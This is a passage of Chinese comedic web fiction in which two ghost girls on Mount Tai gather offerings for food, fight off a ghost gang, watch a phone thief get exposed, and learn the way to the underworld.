她有些急,这么短的时间,已经习惯了陈献午在旁边叽叽喳喳,难以想象一个人去投胎会有多孤单。
第一次一个人出门,死亡带给她的触动并没有很大,但是和陈献午相处的时间却经历了更多第一次,比之前短暂无聊的人生经历加起来还鲜活的第一次。
江越人跪在陈献午身旁,双手上下相贴,掌根重叠,十指紧扣,正要将掌根按在陈献午的胸口,一阵轻细的呼噜声传来。
江越人怔在原地,紧接着跪坐在地上哭笑不得。
她转过身面对山海,环抱住曲在胸前的双腿,静静看着太阳缓缓爬上来,云海轻柔地舒卷,难得有这种机会欣赏美景。
等一等吧,等她醒过来,人生需要等待。
毫无疑问,陈献午又做梦了,这一次直接跳过了出车祸的纪录片,英姿飒爽的背影在视野里浮现,陈献午比上次离得更近了,清晰度也变成了标清。
她再一次朝那个背影走过去,没有任何阻碍走到了面前,她有些期待,终于可以看见长相了。
那名女子看着手中的盒子似有所感,抬起了头。
没有脸!
更准确地说,这张脸像是透过水雾弥漫的镜子出现在了现实,只能知道五官在哪,但具体的样子隐隐绰绰,很不真切。
陈献午惊得连退几步。
虽然大家都说梦里没有脸,但那只有醒了后才会意识到,跟这个感觉完全不一样,这个有故意的成分在,要说恶意吧,确实没有感受到,可是就平白让人不爽,陈献午很想擦掉雾气,看看她的真面目。
英武女子不像看见了陈献午的样子,她重复起之前的动作,把手里的盒子埋在树下,接着狠踹几脚,头也不回转身离开了。
8. 第 8 章
陈献午看了一眼旁边那棵粗柳,垂坠的枝条仿佛失了生机,碧绿细长的叶子卷曲起来,连扶风摇曳的身姿都停了下来,像是被人吸走了活力。
难道是埋下的盒子有古怪?
陈献午赶紧跟上那女子的脚步,没走几步,眼前场景唰地消失,取而代之的是一片黑暗,有光从背后打来。
她转过身,一个三米高的椭圆形空洞立在前方,亮光就是从这里面发出来的,洞内是无尽漩涡,漩涡中间有一个极小的框框在播放画面,吸引着她进去一探究竟。
陈献午环视周围,依旧漆黑,只有眼前这一片区域被照亮。她朝漩涡走去,那里好像有欲望在向她招手,潜意识告诉她,这便是她的归宿。
她向前走了好几步,但是和漩涡之间的距离依旧没变,不是在勾引她吗?为什么不让她进去?
陈献午蓄了点力,猛地冲过去,她感觉那个漩涡根本没动,可自己确实一直在奔跑。
漩涡好像和她不在同一个维度,而是刻在了她眼前固定的位置,所以无论她怎么跑都靠近不了。
余光中,一个身影走了过来,是柳树下那个人。
她轻而易举地走到了漩涡前站定,长久没有动弹,陈献午很着急,她看到那个画面了吗?里面是什么?为什么自己走不过去,她却可以。
一声轻笑传来,陈献午更好奇了,到底是什么有趣的东西?
她情不自禁喊道:“喂!”喊完才想起那位看不到她,更不会听到她的声音。
谁知漩涡前的人竟真的回头了,甚至准确无误地捕捉到陈献午的视线,陈献午激动地朝她挥手,那人定定地看着,没什么反应。
眼前蓦地虚化、扭曲,一切都失了原状,张牙舞爪地围绕着陈献午。
她立刻用双眼捂住眼睛,眼不见为净,漫长的时间过去,她已经不知道自己意识在哪里了,再次睁开眼发现天好近!好蓝!
“你醒了。”江越人淡淡道。
陈献午仰躺着没说话,还在回味梦里的场景,不可能无缘无故又一次梦见她,这个人到底是谁?那个空洞又是什么?
她想了一会也没什么头绪,随后撑着地慢慢坐起来,“吓到你了吧。”
她知道自己是突然陷进梦里的,倒地之前她还担忧了一下后脑勺,现在晃晃,也没什么痛感。
“你还需要睡觉?”江越人没回答她的问题,吓不吓到的不重要了,只是鬼还需要睡觉吗?
“不是我想睡,我就像一道程序,每天都被人手动停止运行。”陈献午道:“你不是也会饿吗?咱俩是吃了睡,睡了吃组合。”
江越人眉毛一挑,不置可否。
陈献午伸了个懒腰:“天都亮了,昨晚在路上,你看到阴曹地府了吗?”
江越人摇头:“没有。”
按理说,她们俩飘起来的高度不至于看不到一点亮光,阴曹地府的官差不可能各个都有夜视眼吧,可是一路到山顶都没发现疑似地点。
“这样吧,再回昨晚的市集打听打听,也不知道他们白天出不出摊。”陈献午建议道。
她们顺着原路返回半山腰,喧闹的集市果然空无一鬼,只有一个孤零零的臭豆腐摊待在原地。
许是为了烘托气氛,几片树叶被风卷积着飘落下来,在地上滚了几圈。
“咕~”
陈献午转头看向发声来源——江越人的肚子。
“你又饿了?”
江越人神色略微绷紧,“有点,还能忍。”
陈献午看她不像饿了,更像便秘。还能忍就是很饿很饿的意思。
天大地大,吃饭最大,陈献午向臭豆腐摊走去,“先找找吃的吧,一时半会儿也打听不到什么。”
臭豆腐摊空空荡荡,一览无遗,生意肯定不好,老板连摊子都不要了。
地上还有半截串肉的签子,剩下的肉估计是被什么动物叼走了。
陈献午飘至半空眯着眼睛搜寻,偌大的地界,除了树还是树,那些鬼躲哪去了……
她回到地上,也不知道江越人还能撑多久,打眼一看,这姑凉又和昨晚一样呆滞了。陈献午敢打包票她绝对没吃饱,不然不会饿的这么快。
山上也找不到吃的,最快的办法只剩一个了。
“你就在这摊子旁边站着,不要走动,我去给你买,呸,找一些吃的。”陈献午嘱咐道。
也不知道她听没听懂,反正点头了。
陈献午在心中急切念叨那扇门,听话的门应召而现。
她夸奖了一声“好门”,随后兴冲冲踏过去,紧接着丝滑转身又收回了脚,好可怕!全是人,下饺子了。
陈献午走到一个靠近大树的边边角,对着那道门招招手,“过来。”
话音未落,好门已经闪现到眼前,如果陈献午没看错的话,这门好像还扭了两下,惹得她发笑。
陈献午深吸一口气,先把脑袋探过去,很好!不可怕了。
她两脚一并蹦过去,“快收。”
好门瞬间消失,真听话。
要是让活人走过去了可不得了。
第一步已完成,可是看着贪吃蛇似的几条长龙,陈献午又犯了难,总不能从人身上穿过去吧,给他们带去煞气,罪过就大了。
而且这些吃的,凭空拿走会引起恐慌吧……只拿一点也填不饱江越人肚子啊。
陈献午飘到纵深十几米的路旁,在一棵棵笔直高耸的树之间飞快穿梭,很快飘到了山脚。这速度在大鬼小鬼飘啊飘竞赛中拿第一名绝对没问题。
全是吃的想拿也拿不了,陈献午心急如焚,这样下去江越人不会晕过去吧。
活人的东西拿不了,还不能拿死人的吗……她飘到很高的地方,四处眺望,还真让她找到一个送葬队,打头的冥车上有一个LED显示屏,播放着逝者的照片。
陈献午心下一喜追了过去,虽然很不道德,但是这位逝者救鬼一命,胜造七级浮屠,不会跟她计较的。
绕了一圈没发现逝者的鬼魂,她找了个有空位的车坐上。
十几分钟后,车停在了殡仪馆前面……
陈献午直想骂街,没搞清楚就坐上来,脑子白长了。
耽误这么久,江越人该不会身体变透明吧?到时候找不到人就完了,陈献午打了个激灵,停止思维发散。
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她飘进殡仪馆,穿了十几堵墙,终于在一个空房间找到一堆水果,不管三七二十一,连袋子一起拎走。
虽然她很想留点钱,但她身上只有死人用的金元宝,没人看得见,想想还是算了。
陈献午抱着一袋水果激动地飘回去。
没多远又让她发现一个墓地,鲜艳的花圈一下子吸引到她。
她落到新修的墓地前,一股脑把祭品全倒袋子里。
“喂!”
一个流里流气的痞子鬼站在她身后,后面还有一帮小弟。
陈献午看了一眼就继续装祭品了,最讨厌这些不务正业的傻缺。
“你他妈懂不懂规矩啊!这片儿的东西都是我的,谁同意你拿了,想死吗?”痞子鬼见陈献午不搭理,压着粗嗓恐吓道。
“我已经死了。”陈献午装完所有祭品。
痞子鬼气急:“我他妈知道,用你说!东西留下我不跟你计较。”
“来不及了。”陈献午不想理他,嘀咕一句便要飘走。
“少吓唬人,来不及什么来不及,弟兄们,给我上!”痞子鬼大手一挥,把自己当古惑仔了,“我们出来混的,就凭三点…”
一声“啊”打断了他的装逼过程。
陈献午刚离地半个身子,打头的小弟拽住她的小腿,她吓的飞起一蹬,小弟尖叫着倒下去,鬼浩南话音戛然而止。
陈献午也被拽落到了地上,看着把自己团团围住的一群鬼,暗骂一声:以多欺少的辣鸡。
她换上笑脸:“这样吧,见者有份,分你们两个苹果。”
鬼浩南脸色更沉:“啧!打发要饭的呢!”
“三个,不能再多了。”陈献午抱紧袋子,忍痛再退一步,谁让她怂呢。
“妈的,跟我俩玩呢!”鬼浩南大跨一步到她面前,直接动手抢。
塑料袋子多脆弱,撕巴两下就破了,里面的水果骨碌碌滚一地。
一个都没了,陈献午想到自己辛辛苦苦找的食物要被抢走,怒火中烧。当人的时候怕惹事,都成鬼了还怕什么。
她一把抄起坟头的哭丧棒,甩在鬼浩南身上。
鬼浩南厉声尖叫,全然忘记压声了。被她打过的地方绷裂开,冒着点点猩红,像是火钳子灼过的。
陈献午见状喜不自胜,手中的哭丧棒挥舞得更起劲了,以哭丧棒为半径的圆圈内无鬼敢靠近。
有带脑子的鬼也学她去拿哭丧棒,结果被烫的缩回手,手心全部溃烂。
还以为多厉害一群鬼呢,连太阳都不怕,原来不过如此。
鬼浩南不甘地看着陈献午,豆子眼里满是怨毒阴狠。
看着满地食物,陈献午举起哭丧棒头也不抬道:“脱个外套给我。”
有眼力见的小弟麻溜脱下外套,丢到她面前。
“不想灰飞烟灭就滚。”陈献午冷冷道,原来这样说话这么爽,怪不得!太装了,好喜欢这感觉。
聚在一起的小鬼立刻分散,瞬间四下无影。
鬼浩南剜了两个眼刀子后,气呼呼地消失在原地。
陈献午用衣服把这些吃的包起来,全力飞回泰山。
9. 第 9 章
飞到山脚的时候,看见那么多人,她又怵了。
对了,还有好门呢。
她召唤出门,兔子一样窜进去,这次不用她说,门就唰地消失了,快得像要赶什么场子。
也不知道这门是不是全地府共用的,按照随叫随到的效率看,应该不是,而且那么大个阴间官方办事处,不至于连多供几扇门都不行。
事实上,还真就不行,天上地下仅此一扇,由后土娘娘座下护法妫泱所创,可自由穿梭阴阳两界,名字中规中矩,一眼知意——阴阳穿梭门。
凡是阴差皆可使用,华夏任一排队叫号系统不及其千分之一,根据生死簿上死亡时间排号,具体以实际情况灵活变换,毕竟不是所有人去世都是按部就班来的,总有特殊情况。
最近好几个阴差抱怨阴阳穿梭门发疯了,较好的情况是刚出现就消失了。
最令人无语的是亡者刚进一半,门突然消失,导致亡者卡在阴阳两界缝里,给阴差增加不少工作量。
没人知道罪魁祸首到底是谁。
陈献午觉得总叫好门也不合适,小狗狗都有自己的名字,没人会直接叫好狗。
想到她们总在门下钻来钻去,有个名字非常合适——狗洞。
可怜在两界举重若轻的阴阳穿梭门还不知自己有了这么……一言难尽的名字。
怀里抱着救命粮,胳膊夹着两根哭丧棒,空中飞人陈献午速度丝毫不比之前慢,沿着山路嘚嘚飘,终于赶在江越人变透明人之前到达。
想象终归是想象,江越人并没有变成透明人,但她瘦成了一条人,脸颊凹陷似骷髅,只有一层皮挂在脸上,呆滞地靠在小摊上。
陈献午站到她面前都没什么反应,慢吞吞抬起眼皮,空洞地望着前面。
陈献午赶忙把怀里的东西全部放到小摊上,拿出一个苹果擦了擦就放到江越人嘴边。
江越人如同被骨头吸引的小狗狗,一口咬住苹果,抱起来喀吱喀吱啃,不到一分钟,苹果在她手里转了一个圈,只剩核了。
“对不起,饿坏了吧。”陈献午看她狼吞虎咽的样子,心里泛酸,马不停蹄又擦几个递给她。
江越人一手拿一个,直往嘴里塞,陈献午把她抱起来放到小摊上,推着小摊走到阴凉地,虽说阴间的太阳只是摆设,但是看她这样晒着还是会觉得不舒服。
江越人一边吃,身体一边膨胀,全部吃完之后,也恢复得和原来差不多了。
“活过来了。”江越人看了一眼陈献午的表情,含笑道。
既是安慰,也是感叹,江越人一想到刚刚那个状态还心有余悸,没想到饿了吃不到东西的后果这么严重,身体逐渐干瘪,像展示风干过程的干尸。
陈献午弯起眼睛:“你都会开玩笑了。”
江越人耸肩:“近朱者赤。”
陈献午拿起一个哭丧棒,把手持的那头递给江越人。
江越人接过好奇地看了看,“这是什么?”
“哭丧棒。”
江越人也可以拿起来,这到底是什么机制,难道真的是因为她们最近才死,所以身上还有生气?
“哭丧……”江越人重复一遍,“这是下葬的时候家人拿在手里的?”
“对啊。”陈献午拿起另一个挥舞两下,“这个可以打鬼,效果堪比激光剑,不,比那个还厉害。”
“你就这么拿来了,主人没意见吗?”江越人也挥舞两下,还挺趁手,“不会是你偷来的吧?”
“欸,怎么说话的,我买的!放了两个金元宝呢!”陈献午在说‘两个’时,声音提高八个度,随后一本正经道:“不问自取才叫偷,主人又不在,我这是通过支付价款,转移物品所有权的合法行为,简单来说就是买卖。”
“好大方,放了两个呢啊!”江越人面不改色惊叹道。
陈献午双手叉腰:“昂!搁活着的时候,他上哪遇到我这样大方的买家。”
但凡她看一眼江越人的表情,都不会这么得意。
江越人:“厉害厉害,所以,大方的美女,我们接下来怎么办。”
陈献午:“……接下来,呃……你歇一歇。”
“已经歇一晚上了。”江越人补充道:“肚子也吃饱了。”
陈献午抠嘴皮,作沉思状,硬着头皮假装淡定,自己夸下的夸海口,说什么也得装下去。
事实上,她也不知道接下来怎么办了,阴间这些鬼都跑哪去了,怎么一个都看不到。
“要不等晚上鬼集再说吧。”江越人适时递了个台阶。
陈献午肯定道:“我觉得可以。”
话题结束,两人干站着发呆,又到了最无聊的环节,没有消遣的玩意儿。
陈献午蹲下,撑着脑袋:“好想要手机、平板、游戏机,实在不行来本书,书就算了。”
都死了,谁要看书学习,看书又不能投个好胎。
她拔下一根草在地上左戳戳,右戳戳,这里连蚂蚁都没有,而且才两分钟,草就干枯发黑了。
“我们去阳间玩吧?”陈献午抬头看向站得笔直的江越人。
江越人兴趣不大,不过陈献午想去,她便点点头同意了。
“我们先找个太阳不大,还有石凳的地方,有凳子肯定有人休息,我们就可以看手机啦。所以先找好地方,再钻狗洞。”有了之前一打开门全是人的经验,陈献午没有立刻召唤狗洞。
江越人:“……我们不能走人走的地方吗?”
“不是真的狗洞,你还记得我们在高铁上穿过的那道门吗?我们在下面钻来钻去的,所以我给它取名狗洞,怎么样,有意思吧?”
江越人表示这很难评,尬笑几声道:“你骂人真高级。”狠起来连自己一块骂。
陈献午:“狗狗多可爱啊,忠诚勇敢。”
“你说的都对。”
“你先在这等着,我去给你找个遮阳的。”陈献午抬头看了看太阳,即使有树挡着,还是不可避免地会晒到。
江越人:“我跟你一起吧。”
“不用,我记得在哪里,有危险记得拿哭丧棒打鬼。”陈献午说完飞快朝山下飞去。
她说很快果然不慢,没多久她就扛着一个颜色很多的东西回来了。
待她走近,江越人才看清那是一个什么东西,即使她没经历过也知道。巨大的伞状物,不是花圈还能是什么!
江越人再一次刷新了对陈献午的认识,这人真是离谱到家了,竟然把人家花圈拿过来遮阳……那花圈上还飘着白色挽联,其中一条上面写着——方致先生千古。
江越人捂住脸,不太想搭理她。
还得多亏花圈的主人不在,不然陈献午能这么完整的回来吗……
陈
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献午兴冲冲跑过来,满脸写着快夸我:“这个怎么样?你就是在里面跳广场舞都不会晒到一丁点。”
江越人问出了疑惑已久的问题:“你从小到大没被人揍过吗?还有,我为什么要在这下面跳广场舞啊?!”
“没啊,我这么有眼力见且小透明,谁会揍我?”陈献午仿佛听不出言外之意,挪了两步靠近江越人,硕大的花圈刚好遮住两人。
她进几步,江越人就退了几步,极其不愿与她同流合污:“我不打。”
“别担心,我又放了一个金元宝,连上次的一起放进他棺材里了。”陈献午以为江越人误会这又是来路不明的,解释完她又前进几步靠过去。
严格来说,那位算是老朋友了,陈献午还特意在墓前感谢加道歉说了三遍。
江越人倒不是忌讳,毕竟自己就是死人,只是感官上很奇怪,但她已经不想说什么了,默许了这个花圈出现在头顶。
于是陈献午打着花圈,领着江越人去找石凳。
经过摸索,陈献午已经完全掌握了泰山的地势方位,哪里有休息的地方,她门儿清。
然而过度的自信终究敌不过现实,只要一打开门,就是乌泱泱的人,一路走来,陈献午开了十几遍门,终于在第十八遍的时候,找到了一个好地方。
既没有拥挤的人群,也没有大片直射的阳光。
她是找到了好地方,华夏各地的阴差们快要疯了,正领着亡魂过门呢,走到一半门却突然消失,落进阴阳交界缝里的亡者数量直线上升,地府为此紧急成立了一个专项救援小组。
地府众官都以为是阴阳穿梭门太老了,所以出故障了。可是等他们去调查时,又很正常,效率高速度快,一穿一个准。
于是老大发话,所有经历了这一故障的阴差们写一份详细的过程报告,不少于一万字。
说是报告,实则检讨,深受其害的阴差们不仅写了检讨,还写了投诉信,但是没地方投!真是气活鬼了!!!
和地府的十万火急完全相反的陈献午和江越人悠哉游哉选了个好地方,美滋滋地坐下了。
紧靠险峻岩壁有一四角亭,以四根石柱支撑,中盖方石,攒尖宝顶,宽容数人,偶有山风袭过,不胜惬意。
五六位穿着统一的大妈在这歇脚,大妈们活力四射,蓬勃的生气传染至周围,连景都好像挺直了背,直面烈日。
有一边石凳刚好空出来,陈献午和江越人便占据一角。
虽然没有刷手机的年轻人,没办法蹭到视频看,但是听大妈们讲起家长里短也很有意思,其中一位阿姨说起话来眉飞色舞,绘声绘色,陈献午立马陷了进去。
只要谁动嘴说话,陈献午就看向谁,听到精彩处还鼓起了掌,这俨然成了给她俩开的专场。
最中间的阿姨好像听到鼓掌一般,越说越起劲,给她一只话筒,这里就是舞台。
“姐姐们,休息好了吧?我们该继续了。”坐在角落一直没说话的年轻人突然出声。
“好嘞,小伙子。”
“可以可以。”
“回头给你发锦旗啊,这小伙真不错。”
阿姨们跟着导游小伙离开,把热闹也一并带走了。
陈献午却还有些意犹未尽,甚至想追上去问后续,听到一半没了,就跟屎拉一半被夹断了似的,影响不大,但能郁闷半天。
10. 第 10 章
陈献午颇为郁闷地用手撑着坐在石凳上,双脚抬起与大腿平行,上下晃悠,好不悠闲。
顺着脚尖,她看见对面石凳上静静躺着一个手机,可能是刚才那些阿姨忘记拿了。
陈献午把花圈柄递给江越人,“那有个手机,我去看看。”
正红色边框的手机壳朝上,上面印着‘好柿發生’。
陈献午正想着该怎么处理这个手机,视线里忽然闪进一个屁股,牢牢地压在了手机上,屁股的主人还左右张望两下,随后露出一个得手的眯眼烂笑。
“哈!”陈献午望着那张铺满贪心的老脸,拳头蠢蠢欲动。
问题来了,怎么才能一把掀开这老东西,还不让人瞧出大白天闹鬼呢。
可怜了那手机,平白被臭屁股玷污,等着,马上就来救你。
亭子里还有两个年轻女孩歇脚,但她们并未注意到老头的动静,正拿着手机互相拍美照。
老头却一直斜眼瞅她们俩,没有立刻将屁股下的手机收入囊中,不知心中暗藏什么鬼胎。
陈献午在老头旁边比手画脚,找各种角度试图推开他,貌似都不具可行性。
她甚至在想丢个石子在老头的脑壳上,都不一定能让他屁股离开手机。
未等她实施,之前离开的旅行团其中一个羊毛卷阿姨去而复返,低着头在地上东寻西觅。
陈献午激动地挥手,并狠狠指向老头,手指好像戳在老头身上一样用力。
羊毛卷阿姨抬头看向陈献午,随后径直走向老头,“还我手机。”
陈献午惊呆了,不只是惊于羊毛卷阿姨的直接,更要命的是,这位羊毛卷阿姨好像看得见自己,瞬间她的心好像活人一样噗通噗通地震颤。
老头装傻充愣:“什么手机?你手机丢了跟我要什么。”
“你怎么知道我手机丢了,还说不是你拿的!”羊毛卷阿姨抬高声音拆穿他,显然见惯了这种老无赖。
羊毛卷阿姨的怒喝引来一些人站在亭子外围观。
老头做贼心虚,被那么多人围观有一丝露怯,很快恢复镇定,咬死不承认:“你都在这找了,不是丢了是什么?你要拿不出证据,就别空口白牙张嘴就污蔑人。”
他瞥到两个自拍的女孩正看过来,又将她们从头到脚指了一遍道:“这两个女娃也在这,你怎么不找她们问,穿成这样,一看就不学好。”
“穿成哪样了?碍着你了吗?”两个女孩登时拉下脸,一齐说道。
羊毛卷阿姨本来不想把别人扯进来,听见女孩反驳就想看一眼,却被近前的陈献午挡住,阿姨偏了一下头才看见对角那两个女生的衣着。
陈献午注意到阿姨的动作,更加确信,她确实能看见自己,刚才那一眼不是意外。
那江越人……
陈献午与之对视上,只一眼她就知道,江越人也发现了阿姨能看见鬼魂,她还知道江越人想揍人,手柄都快捏碎了。
没人看见也就罢了,江越人还能勉强说服自己打着这把花圈。
但是出了羊毛卷阿姨这个意外,阿姨肯定会把她当成神经病,睡死之后又社死,全华夏找不出第二个她这么离谱的死法。
陈献午假装没看见江越人的眼神杀,小碎步倒腾几下,走到两个女生坐的石凳另一角坐下,尽职地扮演一个吃瓜群众。
“正经小娃怎么会穿成这样,肯定是你们偷的!”老头一脸鄙夷,煞有其事说道。
“阿姨,我们刚刚一直坐在这……”其中一个黑长直头发,穿超短裙的女孩急忙解释。
羊毛卷阿姨一摆手:“不用解释,姑娘,我相信不是你们。”
老头拍了一下石凳,急吼吼地指着两个女孩:“就是她们偷的!我看见了。”
“放你爹的屁。”羊毛卷阿姨指着老头鼻尖骂道,“人家小姑娘穿得漂漂亮亮的,像你这样脏货当然看不得,哪个阴沟里爬出来的?我告诉你,你这样的老东西我见多了,还我手机,不然我报警抓你。”
老头一听要报警,气势也不那么足了,但还强撑着道:“我说了没看见,你肯定丢在别的地方了,再找找说不定就找到了。”
羊毛卷阿姨不再废话,抓住老头的胳膊将他拽离了石凳十公分,红框白面手机壳暴露出来。
“手机在他屁股下面。”围观的人大喊道。
两个人高马大的热心男子走过来架起老头,将他带离石凳,“真丢脸。”
羊毛卷阿姨嫌弃地捏起带余温的手机:“你这个老不死的无赖,先擦屁股后拉屎,嘴里喷出一股又一股,马桶搋子在你嘴里都得过劳死。眯了我手机你是能发家致富,还是能长生不死啊?哦,你已经是老不死的了。没见过手机吗?穷得揭不开锅了啊,连这用了两年的手机都当好的。”
老头被提着胳膊架在半空,涨红了脸,“你这泼妇怎么骂的这么难听,太没素质了,我只是不小心坐到你手机上了,我又不是故意的,至于吗?”
“我都骂人了,还要好听?!你有素质,你素质加起来能卖一分钱。还不小心坐到,知道的是用屁股,不知道的还以为是钢化股呢!那我是不是也能不小心甩你两巴掌?”
“你!你给我等着。”老头跳蚤附体,发疯似地扭来扭去,脚一触地就甩开了左右两个男子的手。
放完狠话的老头逃也似的走了。
“你说等就等啊,什么东西!”羊毛卷阿姨呸了一声,飞快转换情绪,对着陈献午笑脸相迎,“谢谢你啊,小姑娘。”
陈献午:妈呀,她跟我说话了,她应该真的是人,那我也?不,我已经死得透透的了。
围观群众:她在看谁???那儿哪里有人?
陈献午不敢出声,苦笑着朝阿姨点点头。
帮忙架起老头的一个男子伸手在阿姨眼前晃了晃,“阿姨,您看看我。”
羊毛卷阿姨对这举动有些莫名,但还是看着他眼睛笑说:“谢谢小伙子。”
众人好像发现了什么了不得的事,阿姨不是斜视,那她道谢的是……
霎那间,围观众人惊恐万状,作鸟兽散。
亭子里只剩羊毛卷阿姨一个人站着,她有些摸不着头脑,都怎么了这是?
阿姨也准备走,余光瞟到一直坐着没动的江越人,犹豫再三,还是走到陈献午身边低声说道:“你和那个小姑娘说说,这样不吉利,年轻人不喜欢我们多管闲事,你别说是我提的哦。还有刚才真的谢谢你提醒我了,小姑娘。”
陈献午心说:我也不敢提。
虽然心里哭兮兮,但她脸上仍旧笑嘻嘻,太阳花式摆手道:“不用谢,阿姨,我会告诉她的。”
“好,那我走了哦,再见,小姑娘。”阿姨笑得慈眉善目,和刚刚骂人的样子大相径庭。
羊毛卷阿姨一转身,陈献午就笑不下去了。
她若无其事地走到江越人身边,假装看天:“哎呀~时间不早
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了,我们该回阴间了。”
江越人站起来,清澈瞳孔仿佛凝成了刀子,“再相信你我就是狗。”
“你怎么能是狗呢,当然了,我也不是,来跟我一起当小花仙呀,开局一块地,一天之后,你将拥有百亩大花园。”
“叫你那个g……”江越人顿住,抿紧嘴唇,片刻才道:“开门。”
“遵命。”陈献午昂首挺胸敬了个礼,“小狗洞出来吧。”
“你能不能换个名字!!!”
“为什么呀?我觉得很贴切啊。”
江越人忍无可忍,在骂她还是不骂她之间反复横跳,最后吐出两个字:“有病。”
“相思病,我对金元宝的情之深切犹如尿不尽,永无止境,失去它,我会迷茫,妄想,甚至癫狂。唉~我的痛苦,你永远也体会不到。”陈献午攥紧胸口的衣服,沉浸在表演里无法自拔。
江越人早在她说完‘相思病’三个字时,就踏进门里了。
陈献午激情畅演完,一个回应都没有。
“垃圾。”一个寸头游客走进亭子,啐口唾沫,随手扔了个空的矿泉水瓶,好巧不巧扔在陈献午了腿上,接着滚落到她脚边,“什么山这么高,还要我亲自爬。”
敢说她的表演垃圾,还乱扔垃圾,陈献午一脚把瓶子踢回去,愤愤对着寸头男竖起中指,随即转身大跨步跳进门里,平稳落地,一气呵成。
寸头男刚一坐下,地上的瓶子突然正面飞向自己,砸在心口上,虽然不痛,但他叫得跟杀猪一样,“有鬼啊!!!”
“啊~啊~”余音还回荡在山涧,他人已往山下飞奔而去,一步三个台阶咔咔跳,百米飞人惊现泰山。
山道上的游客摩肩接踵,因他鬼哭狼嚎的叫声,不约而同让出中间的路,任他疯跑。
大白天的怎么会有鬼?刚上来的游客不明所以,而刚才围观的人们听到下面传来惨叫,脸色更青,这山爬不下去了。
再看陈献午,跳进阴界后潇洒一拍手,对着空荡的亭子道:“这就是嘲讽我的下场,我从不打击报复,只会以牙还牙,以眼还眼。”
等等,空荡的亭子???
“小江,你在哪?小越?小人?”陈献午唰地捏住自己嘴,在心里悄悄打嘴,还好没被听到,不然又要生气了。
陈献午整理呼吸,深吸一口气开始呼喊:“江越人!你在哪里啊?不要留我一个人孤苦无依~依~依~”
已经往山上走的江越人听到喊话,头都没回,加快了登山的脚步。
该死的阴曹地府到底在哪,快点出来。
陈献午跑出亭子,抬头看见江越人越走越急的背影,“江越人!你不要我了吗?约定好的誓言你也全忘了吗?”
她一边控诉,一边加速追上去,如果忽略她见牙不见脸的欠登样子,倒真像是她逃,她追,她插翅难飞的狗血巨制场景。
江越人听着越来越近的声音,跑的更快,她本来没想跑,但是有人在后面追,她就条件反射跑起来,怕被追上。
但是怎么感觉很累赘呢?怎么也跑不快。
一低头,左手握着花圈柄,右手抓着两根哭丧棒……
该死的!
自己跑去看热闹,把这些全丢给我。
江越人两手一撒,全扔在了地上,继续跑。
别说,去掉包袱轻松很多。
“哎?别扔啊,都是好东西!”陈献午老远就伸出尔康手。
11. 第 11 章
一只胳膊揽住花圈和哭丧棒的陈献午哼哧哼哧赶到鬼集所在地时,只想说两个字,那就是——完了。
昨晚热闹非凡、鬼山鬼海的鬼集不见了,此刻冷冷清清,沧沧凉凉,犹如一潭死水。
宽广的场地只剩臭豆腐摊和大嘴老板在,撇开原住民不谈,就只有摊前目不转睛,失了魂的江越人。
陈献午犹豫两秒,还是迈开脚走了过去。
虽然大嘴老板丑是丑了点,但人还是挺好的,而且他又不吃人,没什么好害怕的。
随着距离缩短,大嘴老板的面容逐渐清晰,陈献午迅速瞄了一眼就低下头。
她保持着在地上找钱的姿势走到江越人旁边,不走心地客套道:“哈哈,好巧啊,又见面了。”
大嘴老板轻笑一声,笑得陈献午骨头都酥了,一想到他的脸又心里发毛。
“嗯,是很巧,但你没看我。”
陈献午又一阵恶寒,怎么说话如此腻歪,鸡皮疙瘩掉一地。
“我,我看了,和昨天一样与众不同。”陈献午嗡嗡的声音隔着她的脑袋传出来。
她又在心中默默补了一句:还是那么得反人类。
“谢谢夸奖,这给你。”大嘴老板伸出手,将一个东西递到陈献午眼前。
色如白瓷,匀称修长的手指率先映入眼帘,这只鬼,除了脸,哪哪都是顶配。
紧接着,一个金丝绣制,精美繁复的荷包吸引了视线,静静地躺在他的手心。
如果抛开脸,完全是陈献午的理想型,但问题是抛不开。
陈献午头脑风暴狂暴,他这是什么意思?又送东西给我,不会是先给甜枣再打巴掌吧?他要把我扣下来打黑工,细思极恐。
她飞快掏出昨天的荷包丢给老板,一不小心劲使大了,荷包砸在老板胸口后垂直落地,陈献午见状,想死的心都有了。
“对不起,我马上捡起来。”陈献午刚想绕过摊位去捡。
老板抬手制止,“无碍。”他捡起荷包掸了掸灰,“这个确实不好看,所以给你换个新的。”
说罢,他又把那个精致荷包递过来。
陈献午:“你为什么非要送我?”到底有什么企图。
“你不是喜欢吗?”
“我是喜欢,可是你为什么要给我,重点在你。”
“这本来就属于你。”
陈献午觉得他可能是误会了,对他礼貌点怎么这样。
她一把抓过荷包掂量一下,比昨天要重上些许,打开一看,差点闪瞎了眼。
哼,钱多了不起,理想型个屁,钱多龌龊的无耻之徒。
陈献午咬着后槽牙挤出微笑:“难怪你发财呢,善,事,哥。祝你生意红红火火,财源滚滚来。”
“善事哥?是我吗?”
“是你是你,当然是你,你不是好做善事嘛,除了你没别人有这么善良的一颗心了。”
“我喜欢。”四方巨嘴一张一合,下巴上的两只眼睛同时弯成月牙。
陈献午原本一直盯着他的下巴,这猝不及防的变化将陈献午的眼睛抻得差点抽筋。
“你们说完了吗?”江越人蓦然出声,扯住陈献午的衣袖道:“可以给我买这个吗?”
陈献午顺着衣袖上的手抬头,江越人的身体又开始缩水了,“抱歉,现在就给你买。”
“老板,你这台子上的肉都卖给我们吧,今晚估计没别人了。”陈献午指着滋滋冒油的一排肉串说道。
“好。”
陈献午点点江越人的肩膀,示意她可以吃了,边打开荷包边捞了把空气扔在案上:“两个金元宝是吧,给你。”
大嘴老板撩起长袖,握住空气:“谢谢你让我可以早点收摊。”
陈献午低头盯着肉串,好油,冒得到处都是,“呵,不谢,都是我该做的。”
大嘴老板没接话,眼睛不聚焦地看着陈献午,气氛一度有些尴尬。
陈献午一再克制自己,“今天怎么只有你在?”
“不知道。”
“好吧,那向你打听个事,阴曹地府投胎办事处在哪啊?”
老板终于收起灼热的目光,垂眼沉思,片刻才道:“西南方向有一小丘,水流出处即为冥界入口,旁侧有棵桃树,只要对着树干叩三下,就能打开东北角树枝间的通道。”
陈献午喜不自胜,终于能投胎了,早知道昨天就问了,真不知道嘴丢哪去了。
这时,江越人也吃完了所有的肉串,恢复正常。
“你既然知道地址,为什么不去投胎?”
大嘴老板再次沉默,复杂的脸上闪过一丝迷茫。
“算了,不用回答,我也不感兴趣。”
陈献午朝江越人使了个眼色,二人一齐说道:“谢谢款待,就此别过。”
临走时看到地上的花圈和哭丧棒,陈献午想着反正要投胎了,带着也没用,“这个送给你。”
说罢,二人抬脚离开。
